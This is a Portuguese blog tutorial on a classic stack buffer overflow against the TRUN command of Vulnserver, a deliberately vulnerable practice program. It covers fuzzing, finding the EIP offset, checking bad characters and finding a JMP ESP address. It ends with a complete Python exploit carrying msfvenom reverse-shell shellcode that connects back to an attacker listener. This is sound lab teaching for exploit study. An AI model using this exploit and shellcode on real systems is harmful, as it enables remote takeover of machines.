Home Windows Vulnserver Buffer Overflow - Parte 2 Simples BOF
Post
Cancel

Windows Vulnserver Buffer Overflow - Parte 2 Simples BOF

COMANDO TRUN

O comando TRUN, assim como os demais, recebe um argumento e dá uma resposta.

Enumaração do comando.

Sabendo de seu funcionamento, precisamos fazer o fuzzing do comando e descobrir se conseguimos causar o crash no programa.

FUZZING

Para fazer o fuzzing, vamos utilizar o protocolo Spike. Para tanto, vamos criar nosso script.

trun.spk:

1
2
s_string("TRUN ");
s_string_variable("*");

Onde:

  • s_string: é um parâmetro imutável, no nosso caso, sempre irá enviar “TRUN ” (não esqueça do espaço após o TRUN);
  • s_string_variable: é um parâmetro que indica o que seŕá mudato em cada envio.

Antes de enviar o fuzzing, vamos iniciar o wireshark monitorando nossa conexão.

Iniciando o Wireshark.

Com o programa iniciado na máquina Windows, vamos enviar nosso fuzzing com o script “generic_sender_tcp”.

Iniciando o fuzzing.

Podemos ver que na terceira iteração, o programa parou de responder, automaticamente fechou na máquina Windows. Analisando o dump no WIreshark, podemos verificar o que foi enviado.

Interceptando no Wireshark.

EXPLORAÇÃO

Agora que sabemos que o programa sofreu um crash com 5061 bytes, já incluindo o comando “TRUN /…/”, podemos iniciar o esboço do exploit.

xpltrun.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado
payload = b"TRUN /../" + b"A" * offset

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

Precisamos iniciar o vulsnerver, mas agora com o Immunity Debbuger.

Immunity.

Com tudo pronto, podemos rodar nosso script.

Immunity.

Podemos observar que nosso payload sobrescreveu o EIP e o ESP com nossos “A”, nesse momento encontramos o buffer overflow “vanilla”, que é a forma mais simples de buffer overflow.

Sabendo disso, precisamos encontrar o offset preciso para atingir o EIP, podemos criar um pattern cíclico com o msf-pattern_create.

Immunity.

Vamos inserí-lo em nosso script.

xpltrun.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado
payload = b"TRUN /../"
payload += b"<o patter vai aqui>"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

Agora vamos rodar o script novamente, e monitorar com o Immunity Debugger.

Immunity.

Novamente o programa sofreu crash, mas temos o endereço do EIP: 386F4337. Vamos consultar no msf-pattern_offset para identificar o endereço preciso para sobrescrever o ESP.

Immunity.

Temos o offset preciso para atingir o EIP: 2003 bytes. Vamos atualizar nosso exploit e verificar, vamos inserir 2003 “A” + 4 “B” e o restante de “C”, se o offset estiver correto, vamos preencher o EIP com “42424242” (B em hexa), e o ESP com vários “C”.

xpltrun.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado
payload = b"TRUN /../" # funcao inicial
payload += b"A"*2003 # preenchimento do buffer
payload += b"B"*4 # sobrescreve EIP
payload += b"C" * (5061 - 2003 - 4) # sobrescreve ESP

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

Vamos reiniciar o vulnserver no Immunity debbuger e rodar nosso script novamente.

Immunity.

Conseguimos sobrescrever com precisão o EIP com “42424242” e o ESP com nossa sequencia de “C”. A partir de agora, temos total controle sobre como o programa se comporta, precisamos encontrar quais são os badchars.

IDENTIFICANDO BADCHARS

Para gerar uma sequência com todos os caracteres possíveis, vamos utilizar a ferramenta “badchars” do python, para instalar basta executar pip install badchars.

Immunity.

Vamos adicionar estes badchars em nosso payload no lugar dos “C” e rodar novamente.

xpltrun.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado
payload = b"TRUN /../" # funcao inicial
payload += b"A"*2003 # preenchimento do buffer
payload += b"B"*4 # sobrescreve EIP
payload += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" # sobrescreve ESP

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

Após reiniciar o vulnserver no Immunity, vamos rodar o script novamente.

Immunity.

Novamente o programa quebrou e reescreveu o EIP com os 42. Se observarmos a imagem, veremos que todos os carcteres foram aceitos, com excessão do byte “\x00” que não enviamos por ser geralmente um badchar, ou seja praticamente não temos limitação para gerar o shellcode. Agora precisamos encontrar um bom endereço de retorno.

ENCONTRANDO UM BOM ENDEREÇO DE RETORNO

O nosso payload vai sobrescrever o buffer, o EIP e o ESP, logo, nosso shellcode será armazenado no ESP, por tanto, precisamos manipular nosso EIP para que aponte para o endereço do ESP quando enviarmos nosso payload. No entanto, ao obervarmos as imagens, cada vez que executamos o payload, o ESP mudou de endereço, pois ele é dinâmico e é praticamente impossível descobrir qual endereço vai estar quando rodarmos o payload.

Para eliminarmos este problema, existe o registrador “jump” (JMP) que faz saltos na execução para outros registradores, se encontrarmos na dll do programa, algum jump que aponte para o ESP, podemos preencher o endereço do EIP com o endereço deste jump, fazendo com que, quando a execução chegue nesse ponto, ele pule para o endereço do nosso shellcode.

Para encontrar possíveis jumps que apontem para o ESP, podemos usar o próprio Immunity na sua barra de pesquisa através do plugin “mona.py”, procurando por !mona jmp -r esp.

Immunity.

Encontramos 9 bons endereços para incluir em nosso payload.

INSERINDO O ENDEREÇO DE RETORNO NO PAYLOAD

Em posse do endereço de retorno, vamos adicionar um deles no lugar de nossos B, eu vou utilizar o 62501203 , porém a notação para envio tem que ser em little indian, portanto os bytes tem ordem inversa, ficando: \x03\x12\x50\x62. Vamos atualizar o exploit.

xpltrun.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado
payload = b"TRUN /../" # funcao inicial
payload += b"A"*2003 # preenchimento do buffer
payload += b"\x03\x12\x50\x62" # sobrescreve EIP com JMP ESP
payload += b"C" * (5062 - 2003 - 4) # sobrescreve ESP

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

Com o nosso script atualizado, vamos inserir um breakpoint no Immunity, exatamente em nosso endereço de retorno, para isso podemos pesquisar o endereço através do botão “Go to address Disassembler” e em seguida pressionar “F2”. Com o breakpoint configurado, vamos reiniciar o vulnserver no Immunity e rodar nosso script.

Immunity.

Após o programa parar em nosso breakpoint, podemos clicar em “F7” para avançar para próxima instrução, e veremos que caímos exatamente em nosso buffer de “C”.

GERANDO O SHELLCODE E ORGANIZANDO O EXPLOIT

Para gerar nosso shellcode, vamos utilizar outro programa da suide MSF, o msfvenom, onde vamos configurar a conexão reversa com nossa máquina atacante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.12 lport=8443 -b '\x00' -v shellcode -f py
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1965 bytes
shellcode =  b""
shellcode += b"\xb8\x39\x90\x2e\x4f\xda\xc9\xd9\x74\x24\xf4"
shellcode += b"\x5f\x2b\xc9\xb1\x52\x31\x47\x12\x83\xc7\x04"
shellcode += b"\x03\x7e\x9e\xcc\xba\x7c\x76\x92\x45\x7c\x87"
shellcode += b"\xf3\xcc\x99\xb6\x33\xaa\xea\xe9\x83\xb8\xbe"
shellcode += b"\x05\x6f\xec\x2a\x9d\x1d\x39\x5d\x16\xab\x1f"
shellcode += b"\x50\xa7\x80\x5c\xf3\x2b\xdb\xb0\xd3\x12\x14"
shellcode += b"\xc5\x12\x52\x49\x24\x46\x0b\x05\x9b\x76\x38"
shellcode += b"\x53\x20\xfd\x72\x75\x20\xe2\xc3\x74\x01\xb5"
shellcode += b"\x58\x2f\x81\x34\x8c\x5b\x88\x2e\xd1\x66\x42"
shellcode += b"\xc5\x21\x1c\x55\x0f\x78\xdd\xfa\x6e\xb4\x2c"
shellcode += b"\x02\xb7\x73\xcf\x71\xc1\x87\x72\x82\x16\xf5"
shellcode += b"\xa8\x07\x8c\x5d\x3a\xbf\x68\x5f\xef\x26\xfb"
shellcode += b"\x53\x44\x2c\xa3\x77\x5b\xe1\xd8\x8c\xd0\x04"
shellcode += b"\x0e\x05\xa2\x22\x8a\x4d\x70\x4a\x8b\x2b\xd7"
shellcode += b"\x73\xcb\x93\x88\xd1\x80\x3e\xdc\x6b\xcb\x56"
shellcode += b"\x11\x46\xf3\xa6\x3d\xd1\x80\x94\xe2\x49\x0e"
shellcode += b"\x95\x6b\x54\xc9\xda\x41\x20\x45\x25\x6a\x51"
shellcode += b"\x4c\xe2\x3e\x01\xe6\xc3\x3e\xca\xf6\xec\xea"
shellcode += b"\x5d\xa6\x42\x45\x1e\x16\x23\x35\xf6\x7c\xac"
shellcode += b"\x6a\xe6\x7f\x66\x03\x8d\x7a\xe1\xec\xfa\x85"
shellcode += b"\xfd\x84\xf8\x85\xdd\xaf\x74\x63\x77\x40\xd1"
shellcode += b"\x3c\xe0\xf9\x78\xb6\x91\x06\x57\xb3\x92\x8d"
shellcode += b"\x54\x44\x5c\x66\x10\x56\x09\x86\x6f\x04\x9c"
shellcode += b"\x99\x45\x20\x42\x0b\x02\xb0\x0d\x30\x9d\xe7"
shellcode += b"\x5a\x86\xd4\x6d\x77\xb1\x4e\x93\x8a\x27\xa8"
shellcode += b"\x17\x51\x94\x37\x96\x14\xa0\x13\x88\xe0\x29"
shellcode += b"\x18\xfc\xbc\x7f\xf6\xaa\x7a\xd6\xb8\x04\xd5"
shellcode += b"\x85\x12\xc0\xa0\xe5\xa4\x96\xac\x23\x53\x76"
shellcode += b"\x1c\x9a\x22\x89\x91\x4a\xa3\xf2\xcf\xea\x4c"
shellcode += b"\x29\x54\x1a\x07\x73\xfd\xb3\xce\xe6\xbf\xd9"
shellcode += b"\xf0\xdd\xfc\xe7\x72\xd7\x7c\x1c\x6a\x92\x79"
shellcode += b"\x58\x2c\x4f\xf0\xf1\xd9\x6f\xa7\xf2\xcb"

Onde: -p windows/shell_reverse_tcp é a instrução que será gerada no payload lhost é o endereço para onde o Windows vai enviar o shell, no caso o IP do Kali lport é a porta onde o Windows vai se conectar -b “\x00” são os badchars para serem evitados -v shellcode é o nome da variável a ser criada -f py é o formato que vai ser criado, no caso python

Vamos adicionar o shellcode em nosso exploit e organizar o envio com uma sequencia de NOPs antes do shellcode.

O NOP (no operator) é uma instrução que não faz absolutamente nada, mas há uma tecnica chamada de “nop slad”, onde inserimos uma sequência de NOPs antes do shellcode para que o programa não quebre o shell.

xpltrun.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061
nop = b"\x90"*20
shellcode =  b""
shellcode += b"\xda\xd2\xbb\x01\x23\x9e\xef\xd9\x74\x24\xf4"
shellcode += b"\x5f\x31\xc9\xb1\x52\x31\x5f\x17\x83\xc7\x04"
shellcode += b"\x03\x5e\x30\x7c\x1a\x9c\xde\x02\xe5\x5c\x1f"
shellcode += b"\x63\x6f\xb9\x2e\xa3\x0b\xca\x01\x13\x5f\x9e"
shellcode += b"\xad\xd8\x0d\x0a\x25\xac\x99\x3d\x8e\x1b\xfc"
shellcode += b"\x70\x0f\x37\x3c\x13\x93\x4a\x11\xf3\xaa\x84"
shellcode += b"\x64\xf2\xeb\xf9\x85\xa6\xa4\x76\x3b\x56\xc0"
shellcode += b"\xc3\x80\xdd\x9a\xc2\x80\x02\x6a\xe4\xa1\x95"
shellcode += b"\xe0\xbf\x61\x14\x24\xb4\x2b\x0e\x29\xf1\xe2"
shellcode += b"\xa5\x99\x8d\xf4\x6f\xd0\x6e\x5a\x4e\xdc\x9c"
shellcode += b"\xa2\x97\xdb\x7e\xd1\xe1\x1f\x02\xe2\x36\x5d"
shellcode += b"\xd8\x67\xac\xc5\xab\xd0\x08\xf7\x78\x86\xdb"
shellcode += b"\xfb\x35\xcc\x83\x1f\xcb\x01\xb8\x24\x40\xa4"
shellcode += b"\x6e\xad\x12\x83\xaa\xf5\xc1\xaa\xeb\x53\xa7"
shellcode += b"\xd3\xeb\x3b\x18\x76\x60\xd1\x4d\x0b\x2b\xbe"
shellcode += b"\xa2\x26\xd3\x3e\xad\x31\xa0\x0c\x72\xea\x2e"
shellcode += b"\x3d\xfb\x34\xa9\x42\xd6\x81\x25\xbd\xd9\xf1"
shellcode += b"\x6c\x7a\x8d\xa1\x06\xab\xae\x29\xd6\x54\x7b"
shellcode += b"\xfd\x86\xfa\xd4\xbe\x76\xbb\x84\x56\x9c\x34"
shellcode += b"\xfa\x47\x9f\x9e\x93\xe2\x5a\x49\x5c\x5a\x65"
shellcode += b"\x85\x34\x99\x65\xb5\x3f\x14\x83\xdf\xaf\x71"
shellcode += b"\x1c\x48\x49\xd8\xd6\xe9\x96\xf6\x93\x2a\x1c"
shellcode += b"\xf5\x64\xe4\xd5\x70\x76\x91\x15\xcf\x24\x34"
shellcode += b"\x29\xe5\x40\xda\xb8\x62\x90\x95\xa0\x3c\xc7"
shellcode += b"\xf2\x17\x35\x8d\xee\x0e\xef\xb3\xf2\xd7\xc8"
shellcode += b"\x77\x29\x24\xd6\x76\xbc\x10\xfc\x68\x78\x98"
shellcode += b"\xb8\xdc\xd4\xcf\x16\x8a\x92\xb9\xd8\x64\x4d"
shellcode += b"\x15\xb3\xe0\x08\x55\x04\x76\x15\xb0\xf2\x96"
shellcode += b"\xa4\x6d\x43\xa9\x09\xfa\x43\xd2\x77\x9a\xac"
shellcode += b"\x09\x3c\xaa\xe6\x13\x15\x23\xaf\xc6\x27\x2e"
shellcode += b"\x50\x3d\x6b\x57\xd3\xb7\x14\xac\xcb\xb2\x11"
shellcode += b"\xe8\x4b\x2f\x68\x61\x3e\x4f\xdf\x82\x6b"


# payload a ser enviado
payload = b"TRUN /../" # funcao inicial
payload += b"A"*2003 # preenchimento do buffer
payload += b"\x03\x12\x50\x62" # sobrescreve EIP
payload += nop # sobrescreve ESP com os NOPs
payload += shellcode # envia nosso shellcode apos os NOPs

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

OBTENDO ACESSO REMOTO

Com o exploit pronto, precisamos deixar um netcat ouvindo em nossa máquina atacante na mesma porta utilizada para gerar o shellcode, no meu caso a 8443.

Immunity.

Vamos executar o vulnserver.exe na máquina alvo, mas desta vez rodando normalmente fora do Immunity.

Immunity.

Agora vamos rodar o xpltrun.py e verificar em nosso netcat a conexão reversa.

Immunity.

E conseguimos nosso acesso remoto. A vulnerabilidade do comando TRUN é a mais simples dos buffer overflow, nos próximos comandos, vamos experimentar complexidades diferentes.

Go Go Go!!!

This post is licensed under CC BY 4.0 by the author.